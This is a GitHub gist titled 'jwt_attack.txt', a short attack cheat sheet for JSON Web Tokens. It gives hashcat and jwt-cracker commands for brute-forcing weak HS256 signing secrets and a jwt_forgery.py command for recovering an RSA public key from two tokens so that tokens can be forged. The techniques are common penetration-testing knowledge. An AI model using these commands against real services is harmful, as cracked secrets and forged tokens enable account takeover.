Skip to content

Instantly share code, notes, and snippets.

@sathishshan

sathishshan/jwt_attack.txt

Last active April 15, 2024 04:46
Show Gist options
  • Save sathishshan/d23a799df8615324dd6b37e67fb8dd0a to your computer and use it in GitHub Desktop.
Save sathishshan/d23a799df8615324dd6b37e67fb8dd0a to your computer and use it in GitHub Desktop.
Download ZIP
Raw
jwt_attack.txt
HS256 - Weak Signing Key: Brute Force
hashcat -a 0 -m 16500 <JWT TOKEN> /path/to/jwt.secrets.list
npm install jwt-cracker
jwt-cracker <token> [<alphabet>] [<maxLength>]
HS256 - Extracting Public Key from JWT token:
https://github.com/silentsignal/rsa_sign2n/tree/release/standalone
python3 jwt_forgery.py <token1> <token2>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment